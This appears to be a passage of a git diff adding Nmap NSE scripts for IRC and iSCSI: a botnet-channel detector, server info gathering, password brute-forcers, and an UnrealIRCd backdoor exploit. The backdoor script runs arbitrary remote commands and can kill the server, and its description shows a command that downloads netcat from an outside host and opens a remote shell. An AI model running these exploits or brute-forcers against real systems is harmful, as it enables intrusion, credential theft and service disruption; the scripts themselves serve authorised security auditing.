+Control the list of channel names with the <code>irc-botnet-channels.channels</code>
+script argument. The default list of channels is
+* loic
+* Agobot
+* Slackbot
+* Mytob
+* Rbot
+* SdBot
+* poebot
+* IRCBot
+* VanBot
+* MPack
+* Storm
+* GTbot
+* Spybot
+* Phatbot
+* Wargbot
+* RxBot
+]]
+
+author = {"David Fifield", "Ange Gutek"}
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"discovery", "vuln", "safe"}
+
+---
+-- @usage
+-- nmap -p 6667 --script=irc-botnet-channels <target>
+-- @usage
+-- nmap -p 6667 --script=irc-botnet-channels --script-args 'irc-botnet-channels.channels={chan1,chan2,chan3}' <target>
+--
+-- @args irc-botnet-channels.channels a list of channel names to check for.
+--
+-- @output
+-- | irc-botnet-channels:
+-- | #loic
+-- |_ #RxBot
+
+
+-- See RFC 2812 for protocol documentation.
+
+-- Section 5.1 for protocol replies.
+local RPL_TRYAGAIN = "263"
+local RPL_LIST = "322"
+local RPL_LISTEND = "323"
+
+local DEFAULT_CHANNELS = {
+ "loic",
+ "Agobot",
+ "Slackbot",
+ "Mytob",
+ "Rbot",
+ "SdBot",
+ "poebot",
+ "IRCBot",
+ "VanBot",
+ "MPack",
+ "Storm",
+ "GTbot",
+ "Spybot",
+ "Phatbot",
+ "Wargbot",
+ "RxBot",
+}
+
+portrule = irc.portrule
+
+-- Parse an IRC message. Returns nil, errmsg in case of error. Otherwise returns
+-- true, prefix, command, params. prefix may be nil. params is an array of
+-- strings. The final param has the ':' stripped from the beginning.
+--
+-- The special return value true, nil indicates an empty message to be ignored.
+--
+-- See RFC 2812, section 2.3.1 for BNF of a message.
+local function irc_parse_message(s)
+ local prefix, command, params
+ local _, p, t
+
+ s = string.gsub(s, "\r?\n$", "")
+ if string.match(s, "^ *$") then
+ return true, nil
+ end
+
+ p = 0
+ _, t, prefix = string.find(s, "^:([^ ]+) +", p + 1)
+ if t then
+ p = t
+ end
+
+ -- We do not check for any special format of the command name or
+ -- number.
+ _, p, command = string.find(s, "^([^ ]+)", p + 1)
+ if not p then
+ return nil, "Presumed message is missing a command."
+ end
+
+ params = {}
+ while p + 1 <= #s do
+ local param
+
+ _, p = string.find(s, "^ +", p + 1)
+ if not p then
+ return nil, "Missing a space before param."
+ end
+ -- We don't do any checks on the contents of params.
+ if #params == 14 then
+ params[#params + 1] = string.sub(s, p + 1)
+ break
+ elseif string.match(s, "^:", p + 1) then
+ params[#params + 1] = string.sub(s, p + 2)
+ break
+ else
+ _, p, param = string.find(s, "^([^ ]+)", p + 1)
+ if not p then
+ return nil, "Missing a param."
+ end
+ params[#params + 1] = param
+ end
+ end
+
+ return true, prefix, command, params
+end
+
+local function irc_compose_message(prefix, command, ...)
+ local parts, params
+
+ parts = {}
+ if prefix then
+ parts[#parts + 1] = prefix
+ end
+
+ if string.match(command, "^:") then
+ return nil, "Command may not begin with ':'."
+ end
+ parts[#parts + 1] = command
+
+ params = {...}
+ for i, param in ipairs(params) do
+ if not string.match(param, "^[^\0\r\n :][^\0\r\n ]*$") then
+ if i < #params then
+ return nil, "Bad format for param."
+ else
+ parts[#parts + 1] = ":" .. param
+ end
+ else
+ parts[#parts + 1] = param
+ end
+ end
+
+ return table.concat(parts, " ") .. "\r\n"
+end
+
+local function splitlines(s)
+ local lines = {}
+ local _, i, j
+
+ i = 1
+ while i <= #s do
+ _, j = string.find(s, "\r?\n", i)
+ lines[#lines + 1] = string.sub(s, i, j)
+ if not j then
+ break
+ end
+ i = j + 1
+ end
+
+ return lines
+end
+
+local function irc_connect(host, port, nick, user, pass)
+ local commands = {}
+ local irc = {}
+ local banner
+
+ -- Section 3.1.1.
+ if pass then
+ commands[#commands + 1] = irc_compose_message(nil, "PASS", pass)
+ end
+ nick = nick or rand.random_alpha(9)
+ commands[#commands + 1] = irc_compose_message(nil, "NICK", nick)
+ user = user or nick
+ commands[#commands + 1] = irc_compose_message(nil, "USER", user, "8", "*", user)
+
+ irc.sd, banner = comm.tryssl(host, port, table.concat(commands))
+ if not irc.sd then
+ return nil, "Unable to open connection."
+ end
+
+ irc.sd:set_timeout(60 * 1000)
+
+ -- Buffer these initial lines for irc_readline.
+ irc.linebuf = splitlines(banner)
+
+ irc.buf = stdnse.make_buffer(irc.sd, "\r?\n")
+
+ return irc
+end
+
+local function irc_disconnect(irc)
+ irc.sd:close()
+end
+
+local function irc_readline(irc)
+ local line
+
+ if next(irc.linebuf) then
+ line = table.remove(irc.linebuf, 1)
+ if string.match(line, "\r?\n$") then
+ return line
+ else
+ -- We had only half a line buffered.
+ return line .. irc.buf()
+ end
+ else
+ return irc.buf()
+ end
+end
+
+local function irc_read_message(irc)
+ local line, err
+
+ line, err = irc_readline(irc)
+ if not line then
+ return nil, err
+ end
+
+ return irc_parse_message(line)
+end
+
+local function irc_send_message(irc, prefix, command, ...)
+ local line
+
+ line = irc_compose_message(prefix, command, ...)
+ irc.sd:send(line)
+end
+
+-- Prefix channel names with '#' if necessary and concatenate into a
+-- comma-separated list.
+local function concat_channel_list(channels)
+ local mod = {}
+
+ for _, channel in ipairs(channels) do
+ if not string.match(channel, "^#") then
+ channel = "#" .. channel
+ end
+ mod[#mod + 1] = channel
+ end
+
+ return table.concat(mod, ",")
+end
+
+function action(host, port)
+ local irc
+ local search_channels
+ local channels
+ local errorparams
+
+ search_channels = stdnse.get_script_args(SCRIPT_NAME .. ".channels")
+ if not search_channels then
+ search_channels = DEFAULT_CHANNELS
+ elseif type(search_channels) == "string" then
+ search_channels = {search_channels}
+ end
+
+ irc = irc_connect(host, port)
+ if not irc then
+ stdnse.debug1("Could not connect")
+ return nil
+ end
+ irc_send_message(irc, "LIST", concat_channel_list(search_channels))
+
+ channels = {}
+ while true do
+ local status, prefix, code, params
+
+ status, prefix, code, params = irc_read_message(irc)
+ if not status then
+ -- Error message from irc_read_message.
+ errorparams = {prefix}
+ break
+ elseif code == "ERROR" then
+ errorparams = params
+ break
+ elseif code == RPL_TRYAGAIN then
+ errorparams = params
+ break
+ elseif code == RPL_LIST then
+ if #params >= 2 then
+ channels[#channels + 1] = params[2]
+ else
+ stdnse.debug1("Got short " .. RPL_LIST .. "response.")
+ end
+ elseif code == RPL_LISTEND then
+ break
+ end
+ end
+ irc_disconnect(irc)
+
+ if errorparams then
+ channels[#channels + 1] = "ERROR: " .. table.concat(errorparams, " ")
+ end
+
+ return stdnse.format_output(true, channels)
+end
diff --git a/scripts/irc-brute.nse b/scripts/irc-brute.nse
new file mode 100644
index 0000000..3082ed9
--- /dev/null
+++ b/scripts/irc-brute.nse
@@ -0,0 +1,136 @@
+local brute = require "brute"
+local comm = require "comm"
+local creds = require "creds"
+local match = require "match"
+local irc = require "irc"
+local stdnse = require "stdnse"
+local rand = require "rand"
+
+description=[[
+Performs brute force password auditing against IRC (Internet Relay Chat) servers.
+]]
+
+---
+-- @usage
+-- nmap --script irc-brute -p 6667 <ip>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 6667/tcp open irc
+-- | irc-brute:
+-- | Accounts
+-- | password - Valid credentials
+-- | Statistics
+-- |_ Performed 1927 guesses in 36 seconds, average tps: 74
+--
+
+--
+-- Version 0.1
+-- Created 26/10/2011 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+--
+
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories={"brute","intrusive"}
+
+portrule = irc.portrule
+
+Driver = {
+
+ new = function(self, host, port, opts)
+ local o = { host = host, port = port, opts = opts or {} }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ connect = function(self)
+ -- the high timeout should take delays from ident into consideration
+ local s, r, opts, _ = comm.tryssl(self.host,
+ self.port,
+ '',
+ { timeout = self.opts.timeout or 10000 } )
+ if ( not(s) ) then
+ return false, "Failed to connect to server"
+ end
+ self.socket = s
+ return true
+ end,
+
+ login = function(self, _, password)
+ local msg = ("PASS %s\r\nNICK nmap_brute\r\nUSER anonymous 0 * :Nmap brute\r\n"):format(password)
+ local status, data = self.socket:send(msg)
+ local success = false
+
+ if ( not(status) ) then
+ local err = brute.Error:new( data )
+ -- This might be temporary, set the retry flag
+ err:setRetry( true )
+ return false, err
+ end
+
+ repeat
+ local status, response = self.socket:receive_buf(match.pattern_limit("\r?\n", 2048), false)
+ -- we check for the RPL_WELCOME message, if we don't see it,
+ -- we failed to authenticate
+ if ( status and response:match("^:.-%s(%d*)%s") == "001" ) then
+ success = true
+ end
+ until(not(status))
+
+ if (success) then
+ return true, creds.Account:new("", password, creds.State.VALID)
+ end
+ return false, brute.Error:new("Incorrect password")
+ end,
+
+ disconnect = function(self) return self.socket:close() end,
+}
+
+local function needsPassword(host, port)
+ local msg = ("NICK %s\r\nUSER anonymous 0 * :Nmap brute\r\n"):format(rand.random_alpha(9))
+ local s, r, opts, _ = comm.tryssl(host, port, msg, { timeout = 15000 } )
+ local err, code
+
+ repeat
+ local status, response = s:receive_buf(match.pattern_limit("\r?\n", 2048), false)
+ if ( status ) then
+ code = tonumber(response:match("^:.-%s(%d*)%s"))
+ -- break after first code
+ if (code == 001 ) then
+ err = "The IRC service does not require authentication"
+ break
+ elseif( code ) then
+ break
+ end
+ end
+ until(not(status))
+ if (code == 464) then
+ return true
+ end
+ if ( code ) then
+ return false, ("Failed to check password requirements, unknown code (%d)"):format(code)
+ else
+ return false, "Failed to check password requirements"
+ end
+end
+
+
+action = function(host, port)
+
+ local status, err = needsPassword(host, port)
+ if ( not(status) ) then
+ return stdnse.format_output(false, err)
+ end
+
+ local engine = brute.Engine:new(Driver, host, port)
+ engine.options.script_name = SCRIPT_NAME
+ engine.options.firstonly = true
+ engine.options.passonly = true
+ local result
+ status, result = engine:start()
+
+ return result
+
+end
diff --git a/scripts/irc-info.nse b/scripts/irc-info.nse
new file mode 100644
index 0000000..697a33e
--- /dev/null
+++ b/scripts/irc-info.nse
@@ -0,0 +1,166 @@
+local comm = require "comm"
+local nmap = require "nmap"
+local math = require "math"
+local irc = require "irc"
+local stdnse = require "stdnse"
+local rand = require "rand"
+
+description = [[
+Gathers information from an IRC server.
+
+It uses STATS, LUSERS, and other queries to obtain this information.
+]]
+
+---
+-- @output
+-- 6665/tcp open irc
+-- | irc-info:
+-- | server: asimov.freenode.net
+-- | version: ircd-seven-1.1.3(20111112-b71671d1e846,charybdis-3.4-dev). asimov.freenode.net
+-- | servers: 31
+-- | ops: 36
+-- | chans: 48636
+-- | users: 84883
+-- | lservers: 1
+-- | lusers: 4350
+-- | uptime: 511 days, 23:02:29
+-- | source host: source.example.com
+-- |_ source ident: NONE or BLOCKED
+--@xmloutput
+-- <elem key="server">asimov.freenode.net</elem>
+-- <elem key="version">ircd-seven-1.1.3(20111112-b71671d1e846,charybdis-3.4-dev). asimov.freenode.net </elem>
+-- <elem key="servers">31</elem>
+-- <elem key="ops">36</elem>
+-- <elem key="chans">48636</elem>
+-- <elem key="users">84883</elem>
+-- <elem key="lservers">1</elem>
+-- <elem key="lusers">4350</elem>
+-- <elem key="uptime">511 days, 23:02:29</elem>
+-- <elem key="source host">source.example.com</elem>
+-- <elem key="source ident">NONE or BLOCKED</elem>
+
+author = {"Doug Hoyte", "Patrick Donnelly"}
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"default", "discovery", "safe"}
+
+portrule = irc.portrule
+
+local banner_timeout = 60
+
+function action (host, port)
+ local nick = rand.random_alpha(9)
+
+ local output = stdnse.output_table()
+
+ local sd, line = comm.tryssl(host, port,
+ ("USER nmap +iw nmap :Nmap Wuz Here\nNICK %s\n"):format(nick),
+ {request_timeout=6000})
+ if not sd then return "Unable to open connection" end
+
+ local buf = stdnse.make_buffer(sd, "\r?\n")
+
+ while line do
+ stdnse.debug2("%s", line)
+
+ -- This one lets us know we've connected, pre-PONGed, and got a NICK
+ -- Start of MOTD, we'll take the server name from here
+ local info = line:match "^:([%w-_.]+) 375"
+ if info then
+ output.server = info
+ sd:send("LUSERS\nVERSION\nSTATS u\nWHO " .. nick .. "\nQUIT\n")
+ end
+
+ -- MOTD could be missing, we want to handle that scenario as well
+ info = line:match "^:([%w-_.]+) 422"
+ if info then
+ output.server = info
+ sd:send("LUSERS\nVERSION\nSTATS u\nWHO " .. nick .. "\nQUIT\n")
+ end
+
+ -- NICK already in use
+ info = line:match "^:([%w-_.]+) 433"
+ if info then
+ nick = rand.random_alpha(9)
+ sd:send("NICK " .. nick .. "\n")
+ end
+
+ -- PING/PONG
+ local dummy = line:match "^PING :(.*)"
+ if dummy then
+ sd:send("PONG :" .. dummy .. "\n")
+ end
+
+ -- Server version info
+ info = line:match "^:[%w-_.]+ 351 %w+ ([^:]+)"
+ if info then
+ output.version = info
+ end
+
+ -- Various bits of info
+ local users, invisible, servers = line:match "^:[%w-_.]+ 251 %w+ :There are (%d+) users and (%d+) invisible on (%d+) servers"
+ if users then
+ output.users = math.tointeger(users + invisible)
+ output.servers = servers
+ end
+
+ local users, servers = line:match "^:[%w-_.]+ 251 %w+ :There are (%d+) users and %d+ services on (%d+) servers"
+ if users then
+ output.users = users
+ output.servers = servers
+ end
+
+ info = line:match "^:[%w-_.]+ 252 %w+ (%d+) :"
+ if info then
+ output.ops = info
+ end
+
+ info = line:match "^:[%w-_.]+ 254 %w+ (%d+) :"
+ if info then
+ output.chans = info
+ end
+
+ -- efnet
+ local clients, servers = line:match "^:[%w-_.]+ 255 %w+ :I have (%d+) clients and (%d+) server"
+ if clients then
+ output.lusers = clients
+ output.lservers = servers
+ end
+
+ -- ircnet
+ local clients, servers = line:match "^:[%w-_.]+ 255 %w+ :I have (%d+) users, %d+ services and (%d+) server"
+ if clients then
+ output.lusers = clients
+ output.lservers = servers
+ end
+
+ local uptime = line:match "^:[%w-_.]+ 242 %w+ :Server Up (%d+ days, [%d:]+)"
+ if uptime then
+ output.uptime = uptime
+ end
+
+ local ident, host = line:match "^:[%w-_.]+ 352 %w+ %S+ (%S+) ([%w-_.]+)"
+ if ident then
+ if ident:find "^~" then
+ output["source ident"] = "NONE or BLOCKED"
+ else
+ output["source ident"] = ident
+ end
+ output["source host"] = host
+ end
+
+ local err = line:match "^ERROR :(.*)"
+ if err then
+ output.error = err
+ end
+
+ line = buf()
+ end
+
+ if output.server then
+ return output
+ else
+ return nil
+ end
+end
diff --git a/scripts/irc-sasl-brute.nse b/scripts/irc-sasl-brute.nse
new file mode 100644
index 0000000..90acbfc
--- /dev/null
+++ b/scripts/irc-sasl-brute.nse
@@ -0,0 +1,204 @@
+local base64 = require "base64"
+local brute = require "brute"
+local comm = require "comm"
+local creds = require "creds"
+local sasl = require "sasl"
+local irc = require "irc"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description=[[
+Performs brute force password auditing against IRC (Internet Relay Chat) servers supporting SASL authentication.
+]]
+
+-- You can read more about sasl here:
+-- https://github.com/atheme/charybdis/blob/master/doc/sasl.txt
+-- http://www.leeh.co.uk/draft-mitchell-irc-capabilities-02.html
+-- the first link also explains the meaning of constants used in
+-- this script.
+
+---
+-- @usage
+-- nmap --script irc-sasl-brute -p 6667 <ip>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 6667/tcp open irc syn-ack
+-- | irc-sasl-brute:
+-- | Accounts
+-- | root:toor - Valid credentials
+-- | Statistics
+-- |_ Performed 60 guesses in 29 seconds, average tps: 2
+--
+-- @args irc-sasl-brute.threads the number of threads to use while brute-forcing.
+-- Defaults to 2.
+
+
+
+author = "Piotr Olma"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories={"brute","intrusive"}
+
+portrule = irc.portrule
+
+local dbg = stdnse.debug
+
+-- some parts of the following class are taken from irc-brute written by Patrik
+Driver = {
+
+ new = function(self, host, port, saslencoder)
+ local o = { host = host, port = port, saslencoder = saslencoder}
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ connect = function(self)
+ -- the high timeout should take delays from ident into consideration
+ local s, r, opts, _ = comm.tryssl(self.host,
+ self.port,
+ "CAP REQ sasl\r\n",
+ { timeout = 10000 } )
+ if ( not(s) ) then
+ return false, "Failed to connect to server"
+ end
+ if string.find(r:lower(), "throttled") then
+ -- we were reconnecting too fast
+ dbg(2, "throttled.")
+ return false, "We got throttled."
+ end
+ local status, _ = s:send("CAP END\r\n")
+ if not status then return false, "Send failed." end
+ local response
+ repeat
+ status, response = s:receive_lines(1)
+ if not status then return false, "Receive failed." end
+ if string.find(response, "ACK") then status = false end
+ until (not status)
+ self.socket = s
+ return true
+ end,
+
+ login = function(self, username, password)
+ self.socket:send("AUTHENTICATE ".. self.saslencoder:get_mechanism() .."\r\n")
+ local status, response, challenge
+ repeat
+ status, response = self.socket:receive_lines(1)
+ if not status then
+ local err = brute.Error:new(response)
+ err:setRetry(true)
+ return false, err
+ end
+ challenge = string.match(response, "AUTHENTICATE (.*)")
+ dbg(3, "challenge found: %s", tostring(challenge))
+ if challenge then status = false end
+ until (not status)
+ local msg = self.saslencoder:encode(username, password, challenge)
+
+ -- SASL PLAIN is supposed to be plaintext, but freenode actually wants it to be base64 encoded
+ if self.saslencoder:get_mechanism() == "PLAIN" then
+ msg = base64.enc(msg)
+ end
+
+ local status, data = self.socket:send("AUTHENTICATE "..msg.."\r\n")
+ local success = false
+
+ if ( not(status) ) then
+ local err = brute.Error:new( data )
+ -- This might be temporary, set the retry flag
+ err:setRetry( true )
+ return false, err
+ end
+
+ repeat
+ status, response = self.socket:receive_lines(1)
+ if ( status and string.find(response, "90[45]") ) then
+ status = false
+ end
+ if ( status and string.find(response, "90[03]") ) then
+ success = true
+ status = false
+ end
+ until (not status)
+
+ if (success) then
+ return true, creds.Account:new(username, password, creds.State.VALID)
+ end
+ return false, brute.Error:new("Incorrect username or password")
+ end,
+
+ disconnect = function(self) return self.socket:close() end,
+}
+
+-- checks if server supports sasl authentication and if it does, also checks for supported
+-- mechanisms
+local function check_sasl(host, port)
+ local s, r, opts, _ = comm.tryssl(host, port, "CAP REQ sasl\r\n", { timeout = 15000 } )
+
+ repeat
+ local status, lines = s:receive_lines(1)
+ if string.find(lines, "ACK") then status = false end
+ if string.find(lines, "NAK") then
+ s:close()
+ return false
+ end
+ until (not status)
+
+ -- we know that sasl is supported, now check which mechanisms can be used
+ local to_check = {"PLAIN", "DH-BLOWFISH", "NTLM", "CRAM-MD5", "DIGEST-MD5"}
+ local supported = {}
+ for _,m in ipairs(to_check) do
+ s:send("AUTHENTICATE "..m.."\r\n")
+ dbg(3, "checking mechanism %s", m)
+ repeat
+ local status, lines = s:receive_lines(1)
+ if string.find(lines, "AUTHENTICATE") then
+ s:send("AUTHENTICATE abort\r\n") -- it's not a real command, just to break the process
+ -- wait till we get a message indicating failed authentication
+ repeat
+ status, lines = s:receive_lines(1)
+ if string.find(lines, "90[45]") then status = false end
+ until (not status)
+ table.insert(supported, m)
+ status = false
+ elseif string.find(lines, "90[45]") then
+ status = false
+ break
+ end
+ until (not status)
+ end
+ s:close()
+ return true, supported
+end
+
+action = function(host, port)
+ local sasl_supported, mechs = check_sasl(host, port)
+ if not sasl_supported then
+ return stdnse.format_output(false, "Server doesn't support SASL authentication.")
+ end
+
+ local saslencoder = sasl.Helper:new()
+ local sasl_mech
+
+ -- check if the library supports any of the mechanisms we identified
+ for _,m in ipairs(mechs) do
+ if saslencoder:set_mechanism(m) then
+ sasl_mech = m
+ dbg(2, "supported mechanism found: %s", m)
+ break
+ end
+ end
+ local engine = brute.Engine:new(Driver, host, port, saslencoder)
+ engine.options.script_name = SCRIPT_NAME
+ engine.options.firstonly = true
+ -- irc servers seem to be restrictive about too many connection attempts
+ -- in a short time thus we need to limit the number of threads
+ local threads = stdnse.get_script_args(("%s.threads"):format(SCRIPT_NAME))
+ threads = tonumber(threads) or 2
+ engine:setMaxThreads(threads)
+ local status, accounts = engine:start()
+ return accounts
+end
+
+
diff --git a/scripts/irc-unrealircd-backdoor.nse b/scripts/irc-unrealircd-backdoor.nse
new file mode 100644
index 0000000..ade7ae1
--- /dev/null
+++ b/scripts/irc-unrealircd-backdoor.nse
@@ -0,0 +1,223 @@
+local comm = require "comm"
+local nmap = require "nmap"
+local os = require "os"
+local irc = require "irc"
+local stdnse = require "stdnse"
+local string = require "string"
+
+description = [[
+Checks if an IRC server is backdoored by running a time-based command (ping)
+and checking how long it takes to respond.
+
+The <code>irc-unrealircd-backdoor.command</code> script argument can be used to
+run an arbitrary command on the remote system. Because of the nature of
+this vulnerability (the output is never returned) we have no way of
+getting the output of the command. It can, however, be used to start a
+netcat listener as demonstrated here:
+<code>
+ $ nmap -d -p6667 --script=irc-unrealircd-backdoor.nse --script-args=irc-unrealircd-backdoor.command='wget http://www.javaop.com/~ron/tmp/nc && chmod +x ./nc && ./nc -l -p 4444 -e /bin/sh' <target>
+ $ ncat -vv localhost 4444
+ Ncat: Version 5.30BETA1 ( https://nmap.org/ncat )
+ Ncat: Connected to 127.0.0.1:4444.
+ pwd
+ /home/ron/downloads/Unreal3.2-bad
+ whoami
+ ron
+</code>
+
+Metasploit can also be used to exploit this vulnerability.
+
+In addition to running arbitrary commands, the
+<code>irc-unrealircd-backdoor.kill</code> script argument can be passed, which
+simply kills the UnrealIRCd process.
+
+
+Reference:
+* http://seclists.org/fulldisclosure/2010/Jun/277
+* http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt
+* http://www.metasploit.com/modules/exploit/unix/irc/unreal_ircd_3281_backdoor
+]]
+
+---
+-- @args irc-unrealircd-backdoor.command An arbitrary command to run on the
+-- remote system (note, however, that you won't see the output of your
+-- command). This will always be attempted, even if the host isn't
+-- vulnerable. The pattern <code>%IP%</code> will be replaced with the
+-- ip address of the target host.
+-- @args irc-unrealircd-backdoor.kill If set to <code>1</code> or
+-- <code>true</code>, kill the backdoored UnrealIRCd running.
+-- @args irc-unrealircd-backdoor.wait Wait time in seconds before executing the
+-- check. This is recommended to set for more reliable check (100 is good
+-- value).
+--
+-- @output
+-- PORT STATE SERVICE
+-- 6667/tcp open irc
+-- |_irc-unrealircd-backdoor: Looks like trojaned version of unrealircd. See http://seclists.org/fulldisclosure/2010/Jun/277
+--
+
+author = {"Vlatko Kosturjak", "Ron Bowes"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"exploit", "intrusive", "malware", "vuln"}
+
+
+portrule = irc.portrule
+
+
+action = function(host, port)
+ local socket = nmap.new_socket()
+ local code, message
+ local status, err
+ local data
+ -- Wait up to this long for the server to send its startup messages and
+ -- a response to our noop_command. After this, send the full_command.
+ -- Usually we don't have to wait the full time because we can detect
+ -- the response to noop_command.
+ local banner_timeout = 60
+ -- Send a command to sleep this long. This just has to be long enough
+ -- to remove confusion from network delay.
+ local delay = 8
+
+ -- If the command takes (delay - delay_fudge) or more seconds, the server is vulnerable.
+ -- I defined the fudge as 1 second, for now, just because of rounding issues. In practice,
+ -- the actual delay should never be shorter than the given delay, only longer.
+ local delay_fudge = 1
+
+ -- We send this command on connection because comm.tryssl needs to send
+ -- something; it also allows us to detect the end of server
+ -- initialization.
+ local noop_command = "TIME"
+
+ -- The 'AB' sequence triggers the backdoor to run a command.
+ local trigger = "AB"
+
+ -- We define a highly unique variable as a type of 'ping' -- it lets us see when our
+ -- command returns. Typically, asynchronous data will be received after the initial
+ -- connection -- this lets us ignore that extra data.
+ local unique = "SOMETHINGUNIQUE"
+
+ -- On Linux, do a simple sleep command.
+ local command_linux = "sleep " .. delay
+
+ -- Set up an extra command, if the user requested one
+ local command_extra = ""
+ if(stdnse.get_script_args('irc-unrealircd-backdoor.command')) then
+ command_extra = stdnse.get_script_args('irc-unrealircd-backdoor.command')
+ -- Replace "%IP%" with the ip address
+ command_extra = string.gsub(command_extra, '%%IP%%', host.ip)
+ end
+
+ -- Windows, unfortunately, doesn't have a sleep command. Instead, we use 'ping' to
+ -- simulate a sleep (thanks to Ed Skoudis for teaching me this one!). We always want
+ -- to add 1 to the delay because the first ping happens instantly.
+ --
+ -- This is likely unnecessary, because the Windows version of UnrealIRCd is reportedly
+ -- not vulnerable. However, it's possible that some odd person may have compiled it
+ -- from the vulnerable sourcecode, so we check for it anyways.
+ local command_windows = "ping -n " .. (delay + 1) .. " 127.0.0.1"
+
+ -- Put together the full command
+ local full_command = string.format("%s;%s;%s;%s;%s", trigger, unique, command_linux, command_windows, command_extra)
+
+ -- wait time: get rid of fast reconnecting annoyance
+ if(stdnse.get_script_args('irc-unrealircd-backdoor.wait')) then
+ local waittime = stdnse.get_script_args('irc-unrealircd-backdoor.wait')
+ stdnse.debug1("waiting for %i seconds", waittime)
+ stdnse.sleep(waittime)
+ end
+
+ -- Send an innocuous command as fodder for tryssl.
+ stdnse.debug1("Sending command: %s", noop_command);
+ local socket, response = comm.tryssl(host, port, noop_command .. "\n", {recv_before=false})
+
+ -- Make sure the socket worked
+ if(not(socket) or not(response)) then
+ stdnse.debug1("Couldn't connect to remote host")
+ return nil
+ end
+
+ socket:set_timeout(banner_timeout * 1000)
+
+ -- Look for the end of initial server messages. This allows reverse DNS
+ -- resolution and ident lookups to time out and not interfere with our
+ -- timing measurement.
+ status = true
+ data = response
+ while status and not (string.find(data, noop_command) or string.find(data, " 451 ")) do
+ status, response = socket:receive_bytes(0)
+ if status then
+ data = data .. response
+ end
+ end
+
+ if not status then
+ stdnse.debug1("Receive failed after %s: %s", noop_command, response)
+ return nil
+ end
+
+ -- Send the backdoor command.
+ stdnse.debug1("Sending command: %s", full_command);
+ status, err = socket:send(full_command .. "\n")
+ if not status then
+ stdnse.debug1("Send failed: %s", err)
+ return nil
+ end
+
+ -- Get the current time so we can measure the delay
+ local time = os.time(os.date('*t'))
+ socket:set_timeout((delay + 5) * 1000)
+
+ -- Accumulate the response in the 'data' string
+ status = true
+ data = ""
+ while not string.find(data, unique) do
+ status, response = socket:receive_bytes(0)
+ if status then
+ data = data .. response
+ else
+ -- If the server unexpectedly closes the connection, it
+ -- is usually related to throttling. Therefore, we
+ -- print a throttling warning.
+ stdnse.debug1("Receive failed: %s", response)
+ socket:close()
+ return "Server closed connection, possibly due to too many reconnects. Try again with argument irc-unrealircd-backdoor.wait set to 100 (or higher if you get this message again)."
+ end
+ end
+
+ -- Determine the elapsed time
+ local elapsed = os.time(os.date('*t')) - time
+
+ -- Let the user know that everything's working
+ stdnse.debug1("Received a response to our command in " .. elapsed .. " seconds")
+
+ -- Determine whether or not the vulnerability is present
+ if(elapsed > (delay - delay_fudge)) then
+ -- Check if the user wants to kill the server.
+ if(stdnse.get_script_args('irc-unrealircd-backdoor.kill')) then
+ stdnse.debug1("Attempting to kill the Trojanned UnrealIRCd server...")
+
+ local linux_kill = "kill `ps -e | grep ircd | awk '{ print $1 }'`"
+ local windows_kill = 'wmic process where "name like \'%ircd%\'" delete'
+ local kill_command = string.format("%s||%s||%s", trigger, linux_kill, windows_kill)
+
+ -- Kill the process
+ stdnse.debug1("Running kill command: %s", kill_command)
+ socket:send(kill_command .. "\n")
+ end
+
+ stdnse.debug1("Looks like the Trojanned unrealircd is running!")
+
+ -- Close the socket
+ socket:close()
+
+ return "Looks like trojaned version of unrealircd. See http://seclists.org/fulldisclosure/2010/Jun/277"
+ end
+
+ -- Close the socket
+ socket:close()
+
+ stdnse.debug1("The Trojanned version of unrealircd probably isn't running.")
+
+ return nil
+end
+
diff --git a/scripts/iscsi-brute.nse b/scripts/iscsi-brute.nse
new file mode 100644
index 0000000..97a7312
--- /dev/null
+++ b/scripts/iscsi-brute.nse
@@ -0,0 +1,91 @@
+local brute = require "brute"
+local creds = require "creds"
+local iscsi = require "iscsi"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+description = [[
+Performs brute force password auditing against iSCSI targets.
+]]
+
+---
+-- @args iscsi-brute.target iSCSI target to brute-force.
+-- @output
+-- PORT STATE SERVICE
+-- 3260/tcp open iscsi syn-ack
+-- | iscsi-brute:
+-- | Accounts
+-- | user:password123456 => Valid credentials
+-- | Statistics
+-- |_ Perfomed 5000 guesses in 7 seconds, average tps: 714
+
+-- Version 0.1
+-- Created 2010/11/18 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 2010/11/27 - v0.2 - detect if no password is needed <patrik@cqure.net>
+
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+
+portrule = shortport.portnumber(3260, "tcp", {"open", "open|filtered"})
+
+Driver = {
+
+ new = function(self, host, port)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+ o.target = stdnse.get_script_args('iscsi-brute.target')
+ return o
+ end,
+
+ connect = function( self )
+ self.helper = iscsi.Helper:new( self.host, self.port )
+ return self.helper:connect(brute.new_socket())
+ end,
+
+ login = function( self, username, password )
+ local status = self.helper:login( self.target, username, password, "CHAP")
+
+ if ( status ) then
+ return true, creds.Account:new(username, password, creds.State.VALID)
+ end
+
+ return false, brute.Error:new( "Incorrect password" )
+ end,
+
+ disconnect = function( self )
+ self.helper:close()
+ end,
+}
+
+
+action = function( host, port )
+
+ local target = stdnse.get_script_args('iscsi-brute.target')
+ if ( not(target) ) then
+ return stdnse.format_output(false, "No target specified (see iscsi-brute.target)")
+ end
+
+ local helper = iscsi.Helper:new( host, port )
+ local status, err = helper:connect()
+ if ( not(status) ) then return false, "Failed to connect" end
+
+ local response
+ status, response = helper:login( target )
+ helper:logout()
+ helper:close()
+
+ if ( status ) then return "No authentication required" end
+
+ local accounts
+
+ local engine = brute.Engine:new(Driver, host, port)
+ engine.options.script_name = SCRIPT_NAME
+ status, accounts = engine:start()
+
+ if ( status ) then return accounts end
+end
diff --git a/scripts/iscsi-info.nse b/scripts/iscsi-info.nse
new file mode 100644
